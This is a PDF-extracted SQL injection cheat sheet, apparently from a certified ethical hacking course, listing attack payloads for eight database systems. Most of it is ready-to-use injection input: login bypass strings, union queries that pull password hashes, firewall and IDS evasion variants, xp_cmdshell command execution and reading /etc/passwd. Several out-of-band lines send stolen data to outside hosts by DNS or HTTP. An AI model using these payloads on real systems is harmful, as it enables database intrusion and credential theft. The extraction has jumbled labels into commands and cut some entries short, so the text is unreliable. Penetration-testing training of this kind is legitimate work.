SQL Injection Cheat Sheet
SQL Injection Cheat Sheet
Databases:
1. MSSQL
2. MySQL
3. ORACLE
4. IBM-DB2 SQL
5. INGRES SQL
6. INFORMIX
7. POSTGRESQL
8. MS ACCESS
1. MSSQL Database
Query Command
SELECT @@VERSION;
Version
— This command obtains the OS/Windows version of the system.
SELECT name FROM master..syslogins;
List Users — This command lists the names of users from the table
master..syslogins.
SELECT user_name();
— This command obtains a name of recently logged in user.
SELECT system_user;
— This command obtains the current value of system_user.
Current User SELECT user;
— This command obtains the name of impersonated user.
SELECT loginname FROM master..sysprocesses WHERE spid =
@@SPID;
— This command obtains the column name loginname from table
master..sysprocesses having spid=@@SPID.
SELECT name FROM master..sysdatabases;
— This command obtains the list of all the databases from database
‘master..sysdatabases’.
List all Database
SELECT DB_NAME(N);
— This command obtains the DB_NAME present at N (Where
N=0,1,2,3, …).
Current SELECT DB_NAME();
Database — This command obtains the current database.
SELECT name FROM sysobjects WHERE xtype = 'U';
List Tables — This command obtains the column ‘name’ from table sysobjects
having xtype value ‘U’.
SELECT name FROM syscolumns WHERE id =(SELECT id FROM
sysobjects WHERE name = 'tablenameforcolumnnames')
— This command works only for reading current database’s tables.
Column Names SELECT master..syscolumns.name,
TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name='sometable';
— This command works globally. But you should change the master
with the DB name which holds the table you want to read the
columns and change ‘sometable’ with the table name.
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM
Select Nth Row master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;
— This command obtains 9th row.
SELECT substring(‘abcd’, 3, 1);
Select Nth Char
—This command returns c.
IF (1=1) SELECT 1 ELSE SELECT 2;
If Statement
—This command returns 1.
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
Case Statement
—This command returns 1.
SELECT 1;
— This command is used for writing a comment.
Comments
SELECT /*comment*/1;
— This command is used to comment out a statement.
String without SELECT CHAR(75)+CHAR(76)+CHAR(77);
Quotes — This command returns ‘KLM’.
WAITFOR DELAY ’0:0:5′;
Time Delay
— This command is used to pause for 5 seconds.
EXEC xp_cmdshell
‘net user’;
— privOn MSSQL 2005, and you may need to reactivate xp_cmdshell
Command first as it’s disabled by default:
Execution EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
declare @host varchar(800); select @host = name FROM
master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host +
‘c$boot.ini”’);
Make DNS — These commands are used to make DNS request.
Requests declare @host varchar(800); select @host = name + ‘-’ +
master.sys.fn_varbintohexstr(password_hash) +
‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ +
@host + ‘c$boot.ini”’);
/?id=1+and+ascii(lower(mid((select+pwd+from+
users+limit+1,1),1,1)))=74
Malicious query using signature bypass method to bypass firewall
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=xx(1)or(0x50=0x50)
Malicious query using buffer overflow method to bypass firewall
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!
%53eLEct*/%0A/*nnaa*/+1,2,3,4…
Malicious query to enumerate different databases in the server
' and 1 in (select min(name) from master.dbo.sysdatabases where
Database name >'.' ) –
Enumeration Malicious query to enumerate different file locations in the databases
' and 1 in (select min(filename) from master.dbo.sysdatabases
where filename >'.' ) –
Malicious query to enumerate tables and columns in the database
Tables and
Columns ' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
Enumeration in systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
one Query systypes where sysobjects.xtype = 'U' AND sysobjects.id =
syscolumns.id AND syscolumns.xtype = systypes.xtype --
If application is first getting the record by username and then compare
returned MD5 with supplied password's MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
Bypassing results with a known password and MD5 hash of supplied password. In
Second MD5 this case application will compare your password and your supplied MD5
Hash Check hash instead of MD5 from database.
Login Screens Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
SELECT header, txt FROM news UNION ALL SELECT name, pass
FROM members
Union
Injections — With union you can do SQL queries cross-table. Basically, you can
poison query to return records from another table. This above
example will combine results from both news table and members
Page | 5 Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection Cheat Sheet
Server Name Malicious Query to retrieve server name and configuration in a network
and ' and 1 in (select @@servername)--
Configuration ' and 1 in (select servername from sys.sysservers)--
SELECT * FROM master..sysservers;
Linked Servers
— This command retrieves all the Linked Servers.
Examples for evading ' OR 1=1 signature:
OR 'john' = 'john'
' OR 'microsoft' = 'micro'+'soft'
' OR 'movies' = N'movies'
IDS Signature
' OR 'software' like 'soft%'
Evasion
' OR 7 > 1
' OR 'best' > 'b'
' OR 'whatever' IN ('whatever')
' OR 5 BETWEEN 1 AND 7
Password:*/=1--
UNI/**/ON SEL/**/ECT
(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
?vulnerableParam=1;DECLARE @x as int;DECLARE @w as
char(6);SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100
Time Based SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w—
SQLi
{INJECTION} = You want to run the query.
Exploitation
— If the condition is true, will response after 14 seconds. If is false,
will be delayed for one second.
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',
({INJECT})+'.yourhost.com';'sa';'pwd', 'SELECT 1');
— This command makes DNS resolution request to
{INJECT}.yourhost.com.
Out of Band ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q =
Channel '\\'+({INJECT})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree
@q
— This command makes DNS resolution request to
{INJECT}.yourhost.com.
— {INJECTION} = You want to run the query.
Northwind
Model
Default
Sdb
Databases
pubs — not on sql server 2005
tempdb
privilege.
SELECT is_srvrolemember(‘securityadmin’);
— This command determines whether a current has ‘securityadmin’
privilege.
SELECT name FROM master..syslogins WHERE denylogin = 0;
— This command obtains column name ‘name’ from table
master..syslogins having denylogin value as 0.
SELECT name FROM master..syslogins WHERE hasaccess = 1;
— This command obtains column name ‘name’ from table
master..syslogins having hasaccess value as 1.
SELECT name FROM master..syslogins WHERE isntname = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntname value as 0.
SELECT name FROM master..syslogins WHERE isntgroup = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntgroup value as 0.
SELECT name FROM master..syslogins WHERE sysadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having sysadmin value as 1.
SELECT name FROM master..syslogins WHERE securityadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having securityadmin value as 1.
SELECT name FROM master..syslogins WHERE serveradmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having serveradmin value as 1.
SELECT name FROM master..syslogins WHERE setupadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having setupadmin value as 1.
SELECT name FROM master..syslogins WHERE processadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having processadmin value as 1.
SELECT name FROM master..syslogins WHERE diskadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having diskadmin value as 1.
SELECT name FROM master..syslogins WHERE dbcreator = 1;
— This command obtains column name ‘name’ from table
master..syslogins having dbcreator value as 1.
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
2. MySQL Database
Query Command
SELECT @@VERSION;
— This command retrieves the system information of the current
Version installation of SQL Server.
SELECT version();
— This command selects the specific version of a Server.
Malicious query used to interact with a target OS
' union select 1,load_file('/etc/passwd'),1,1,1;
OS
Malicious commands used to interact with a target OS
Interaction
CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll';
SELECT user FROM mysql.user;
List Users
— This command lists the column ‘user’ from the table ‘mysql.user’.
SELECT user();
Current — This command obtains the current MySQL user name and hostname.
User SELECT system_user();
— This command obtains the current value of system_user.
Malicious query used to create database accounts
Creating
Example:
Database
Accounts INSERT INTO mysql.user (user, host, password) VALUES ('victor',
'localhost', PASSWORD('Pass123'))
SELECT schema_name FROM information_schema.schemata;
for MySQL >= v5.0
List all
Database —This command obtains a column name ‘schema_name’ having a list of
databases from the table ‘schemata table’.
SELECT distinct(db) FROM mysql.db; — priv
Current SELECT database();
Database — This command obtains the current MySQL database.
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
— This command is used to load files in unions (string = "/etc/passwd")
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
— This command is used to check for existing files (string = "n.ext")
Case SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
Statement — This command returns A.
SELECT 1; #comment
— This command is used for writing a comment.
Comments
SELECT /*comment*/1;
— This command is used comment out a statement.
SELECT BENCHMARK(1000000,MD5(‘A’));
Time Delay SELECT SLEEP(5); -- >= 5.0.12
— This command triggers a measurable time delay.
If mysqld (<5.0) is running as root AND you compromise a DBA account you can
execute OS commands by uploading a shared object file into /usr/lib (or
Command similar). The .so file should contain a User Defined Function
Execution (UDF). raptor_udf.c explains exactly how you go about this. Remember to
compile for the target architecture which may or may not be the same as your
attack platform.
Malicious query used to extract data like password hashes from DNS request
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
DNS
Exfiltration select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c
5c612e747874))
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
Load File SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
— This command will show the content of c:\boot.ini.
DROP sampletable;--
DROP sampletable;#
Username : admin'--
Log in as : admin' or '1'='1'--
Admin User SELECT * FROM members WHERE $username = 'admin'--' AND $password
= 'password'
— This command lists all the users from the column ‘members’ having
$username value as ‘admin’ and $password value as ‘password’.
SELECT user, password FROM mysql.user;
— This command retrieves the columns ‘user’ and ‘password‘ from the
table ‘mysql.user’.
SELECT user, password FROM mysql.user LIMIT 1,1;
List
Passwords — This command retrieves the columns ‘user’ and ‘password‘ from the
table ‘mysql.user’ with LIMIT 1,1.
SELECT password FROM mysql.user WHERE user = 'root';
— This command retrieves the column ‘password‘ from the table
‘mysql.user’ having user value as ‘root’.
SLEEP(25)--
SELECT BENCHMARK(1000000,MD5('A'));
ProductID=1 OR SLEEP(25)=0 LIMIT 1—
Blind SQL ProductID=1) OR SLEEP(25)=0 LIMIT 1--
Injection ProductID=1' OR SLEEP(25)=0 LIMIT 1—
(Time
Based) ProductID=1') OR SLEEP(25)=0 LIMIT 1--
ProductID=1)) OR SLEEP(25)=0 LIMIT 1—
ProductID=SELECT SLEEP(25)—
— These commands trigger a measurable time delay.
?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) =
Time base 100),SLEEP(14),1) = 0 LIMIT 1—
SQLi {INJECTION} = You want to run the query.
Exploitation — If the condition is true, will response after 14 seconds. If is false, will be
delayed for one second.
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}),
'yourhost.com\\')));
— This command makes a NBNS query request/DNS resolution request to
Out of Band yourhost.com.
Channel ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE
'\\\\yourhost.com\\share\\output.txt');
— This command writes data to your shared folder/file.
{INJECTION} = You want to run the query.
Default information_schema (>= mysql 5.0)
Databases mysql
Path of DB
SELECT @@datadir C:\AppServ\MySQL\data\
Files
Location of SELECT @@datadir;
DB Files — This command obtains the location of DB files.
SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges;
— This command lists list user privileges.
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,
Privileges Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;
— This command lists list various types of privileges.
3. Oracle Database
Query Command
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
— This command obtains oracle version and build information.
Version SELECT version FROM v$instance;
— This command displays the current database information such as
host name, status, startup time, etc.
SELECT username FROM all_users ORDER BY username;
— This command obtains column ‘username’ from the table ‘all_users’
List Users and sort it by username.
SELECT name FROM sys.user$;
— This command obtains column ‘name’ from table ‘sys.user$’.
SELECT user FROM dual
Current User
— This command obtains current user from the table ‘dual’.
SELECT DISTINCT owner FROM all_tables;
List all — This command lists schemas (one per user).
Database — Also queries TNS listener for other databases.
See tnscmd (services | status).
This command is used to create database accounts
CREATE USER victor IDENTIFIED BY Pass123
Create DB TEMPORARY TABLESPACE temp
Accounts DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
SELECT global_name FROM global_name;
— This command obtains current user from global_name.
SELECT name FROM v$database;
— This command obtains current username from column ‘name’,
present in the table ‘v$database’.
Current
Database SELECT instance_name FROM v$instance;
— This command obtains column ‘instance_name’ from the table
‘v$instance’.
SELECT SYS.DATABASE_NAME FROM DUAL;
— This command obtains database name ‘SYS.DATABASE’ from the
table ‘DUAL’.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members
— By using union, you can do SQL queries cross-table. Basically, you can
Union poison query to return records from another table and this example will
Injections combine results from both news table and members table and return all
of them.
Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
DROP sampletable;--
Username: admin'—
Log in as SELECT * FROM members WHERE username = 'admin'--' AND
Admin User password = 'password'
—This command retrieves all the users from the table ‘members’ where
username is ‘admin’ and password is ‘password’.
Clear SQLi
Tests: product.asp?id=4
For Boolean product.asp?id=5-1
SQL product.asp?id=4 OR 1=1
Injection — These commands can be used as tests for Boolean SQL injection and
and Silent silent attacks.
Attacks
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
sniff.php?sniff='||({INJECTION})||'') FROM DUAL);
— Using this command, sniffer application will save results.
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
'||({INJECTION})||'.html') FROM DUAL);
— Using this command, results will be saved in HTTP access logs
?vulnerableParam=(SELECT
UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM
Out of Band
DUAL);
Channel
— Using this command, you can sniff DNS resolution requests to
yourhost.com
?vulnerableParam=(SELECT
SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM
DUAL);
— Using this command, you can sniff DNS resolution requests to
yourhost.com
— {INJECTION} = You want to run the query.
Default SYSTEM
Databases SYSAUX
Query Command
SELECT service_level FROM table(sysproc.env_get_inst_info()) as
instanceinfo
— This command returns a version of system table.
SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 --
(v8+)
— This command returns an information on built version of system
table.
Version
SELECT prod_release, installed_prod_fullname FROM
table(sysproc.env_get_prod_info()) as productinfo
— This command returns release and full name information of system
table.
SELECT service_level, bld_level FORM sysibmadm.env_inst_info
— This command returns the service and configuration information of
system table.
DB2 uses OS accounts. Those with DB2 access can be retrieved with:
SELECT distinct(authid) FROM sysibmadm.privileges
— This command retrieves distinct authorization ID of users from
sysibmadm.privileges.
SELECT grantee FROM syscat.dbauth
— This command lists the users with database privileges.
List Users
SELECT distinct(definer) FROM syscat.schemata
— This command retrieves distinct authorization ID of the owner of
the schema.
SELECT distinct(grantee) FROM sysibm.systabauth
— This command retrieves distinct authorization ID of users having
database privileges from sysibm.systabauth.
SELECT user FROM sysibm.sysdummy1;
— This command obtains current user from the table
sysibm.sysdummy1.
SELECT session_user FROM sysibm.sysdummy1;
Current User
— This command obtains current session user from the table
‘sysibm.sysdummy1.
SELECT system_user FROM sysibm.sysdummy1;
— This command obtains current system user from the table
‘sysibm.sysdummy1.
If Statement Seems only allowed in stored procedures. Use case logic instead.
sysibm.sysdummy1)=68;
— If user starts with ASCII 68 ('D'), the heavy query will be executed,
delaying the response. However, if user doesn’t start with ASCII 68, the
heavy query won’t execute and thus the response will be faster.
Command
This functionality is allowed from procedures or UDFs.
Execution
List Password
N/A (OS User Accounts)
Hashes
SELECT distinct(grantee) FROM sysibm.systabauth where
List DBA CONTROLAUTH='Y';
Accounts — This command returns a list of DBA accounts from table
sysibm.systabauth having CONTROLAUTH value ‘Y’.
Local File
This functionality is available through stored procedures or DB2 tool.
Access
SYSIBM
SYSCAT
Default SYSSTAT
Databases SYSPUBLIC
SYSIBMADM
SYSTOOLS
Query Command
SELECT dbmsinfo('_version');
Version — This command retrieves the system information of the current
installation of SQL Database.
First connect to iidbdb, then
SELECT name, password FROM iiuser;
— This command retrieves the columns ‘name’ and ‘password’ from
List Users
the table ‘iiuser’.
SELECT own FROM iidatabase;
— This command lists the names of users from the table ‘iidatabase’.
select dbmsinfo(‘session_user’);
Current User select dbmsinfo(‘system_user’);
— These commands return the user id of the current user.
Logging in $ su - ingres
from $ sql iidbdb
Command * select dbmsinfo(‘_version’); go
Line — This command can be used to log in from command line.
SELECT dbmsinfo('security_priv');
— This command retrieves the users with 'security_priv' privilege.
SELECT dbmsinfo('SELECT_syscat');
— This command retrieves the users with 'SELECT_syscat' privilege.
SELECT dbmsinfo('db_privileges');
— This command retrieves the users with 'db_privileges' privilege.
SELECT dbmsinfo('current_priv_mask');
— This command retrieves the users with 'current_priv_mask'
privilege.
Query Command
SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1;
— This command retrieves the version and complete information from
the table ‘systables’ having tabid value as ‘1’.
SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid
= 1;
— This command retrieves the version and server information from the
table ‘systables’ having tabid value as ‘1’.
Version
SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'),
DBINFO('version', 'level') FROM systables WHERE tabid = 1;
— This command retrieves the version, major and minor information
from the table ‘systables’ having tabid value as ‘1’.
SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1;
— This command retrieves the version and OS information from the
table ‘systables’ having tabid value as ‘1’.
SELECT username, usertype, password from sysusers;
List Users — This command lists the usernames, usertype and password from the
table sysusers.
SELECT USER FROM systables WHERE tabid = 1;
— This command obtains the column ‘USER’ from table ‘systables’
having tabid value as ‘1’.
Current User
SELECT CURRENT_ROLE FROM systables WHERE tabid = 1;
— This command obtains the column ‘CURRENT_ROLE’ from table
‘systables’ having tabid value as ‘1’.
SELECT name, owner from sysdatabases;
List all
Database — This command obtains the list of all the databases from the
database ‘sysdatabases’.
SELECT DBSERVERNAME FROM systables where tabid = 1;
Current
Database — This command obtains the column ‘DBSERVERNAME’ current server
name from table ‘systable’ having tabid value as ‘1’.
SELECT tabname, owner FROM systables;
— This command obtains the columns ‘tabname’ and ‘owner’ from
List Tables table ‘systable’.
SELECT tabname, viewtext FROM sysviews JOIN systables ON
systables.tabid = sysviews.tabid;
Page | 32 Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
SQL Injection Cheat Sheet
Query Command
SELECT version();
Version — This command obtains the version and built information of a
database.
SELECT usename FROM pg_user;
List Users — This command obtains the column ‘usename’ from the table
‘pg_user’.
SELECT user;
— This command obtains a name of recently logged in user.
SELECT current_user;
— This command obtains a name of current user.
SELECT session_user;
Current User
— This command obtains a name of current session user.
SELECT usename FROM pg_user;
— This command obtains the column ‘usename’ from table ‘pg_user’.
SELECT getpgusername();
— This command obtains the user name in current session.
8. MS ACCESS Database
Query Command
SELECT Name FROM msysobjects WHERE Type = 1;
List Tables — This command retrieves column name ‘Name’ from the table
‘msysobjects’ having type value as ‘1’.
Create DB This command is used to create database accounts
Accounts CREATE USER victor IDENTIFIED BY 'pass123'
Comment characters are not available in Microsoft Access. However,
it is possible to remove useless part of a query with the NULL char
Query (%00). A query truncation looks like:
Comment
http://localhost/script.asp?id=1’+UNION+SELECT+1,2,3,4+FROM+so
meValidTabName%00;
Apache (PHP):
Fatal error: Uncaught exception 'com_exception' with message
Syntax Error 'Source: Microsoft JET Database Engine Description: [...];
Messages
IIS (ASP):
Microsoft JET Database Engine error '80040e14';
Stacked Query Stacked queries are not allowed.
Subqueries are supported by MS Access. In the following
example, TOP 1 is used to return one row only:
Sub Query
http://localhost/script.asp?id=1'+AND+(SELECT+TOP+1+'someData'+
FROM+table)%00;
In some cases, it is useful to include in the web application response
Hardcoded the outcome of our UNION SELECT query only, making the hardcoded
Query query returning 0 results. A common trick can be used for our
Returning 0 purpose:
Rows http://localhost/script.asp?id=1'+AND+1=0+UNION+SELECT+1,2,3+F
ROM+table%00;
The LIMIT operator is not implemented within MS Access. However, it
is possible to limit SELECT query results to the first N table rows using
the TOP operator. TOP accepts as argument an integer, representing
the number of rows to be returned.
Limit Support
http://localhost/script.asp?id=1'+UNION+SELECT+TOP+3+someAttrN
ame+FROM+validTable%00;
In the above example, In addition to TOP, the operator LAST can be
used to fully emulate the behavior of LIMIT.
http://localhost/script.asp?id=1'+UNION+SELECT+LEN('1234')+FRO
String Length M+table%00;
This request above returns 4, the length of the string “1234”.
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',1,1)+F
ROM+table%00;
http://localhost/script.asp?id=1'+UNION+SELECT+MID('abcd',2,1)+F
ROM+table%00;
Substring
— The operator MID can be used to select a portion of a specified
string
— The first query returns the character ‘a’, whereas the second query
returns ‘b’.
http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%2b+'app'+
FROM+table%00;
String http://localhost/script.asp?id=1'+UNION+SELECT+'web'+%26+'app'+
Concatenation FROM+table%00;
— &(%26) and + (%2b) characters are used for string concatenation.
— Both queries return the string “webapp”.
IIF(condition, true, false);
http://localhost/script.asp?id=1'+UNION+SELECT+IIF(1=1,'a','b')+FR
IF THEN OM+table%00;
Conditional — The IIF operator can be used to build an “if-then” conditional
Statement statement. As shown below, the syntax for this function is simple:
— This command returns the character ‘a’ as the condition 1=1 is
always true.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeD
Web Root B.FakeTable%00;
Directory Full
Path — Using the above request, MS Access responds with an error
message containing the web directory full pathname.
The CHR operator converts the argument character to its ASCII value:
Char from http://localhost/script.asp?id=1'+UNION+SELECT+CHR(65)+FROM+t
ASCII Value able%00;
— This command returns the character ‘A’.
The ASC operator returns the ASCII value of the character passed as
argument:
ASCII Value
http://localhost/script.asp?id=1'+UNION+SELECT+ASC('A')+FROM+ta
from Char
ble%00;
— This command returns 65, the ASCII value of the character ‘A’.
Database file name (.mdb) can be inferred with the following query:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].
.mdb File realTable%00;
Name — Where name[i] is a .mdb filename and realTable is an existent table
Guessing within the database. Although MS Access will always trigger an error
message, it is possible to distinguish between an invalid filename and
a valid .mdb filename.
.mdb Access PassView is a free utility that can be used to recover the main
Password database password of Microsoft Access 95/97/2000/XP or Jet
Cracker Database Engine 3.0/4.0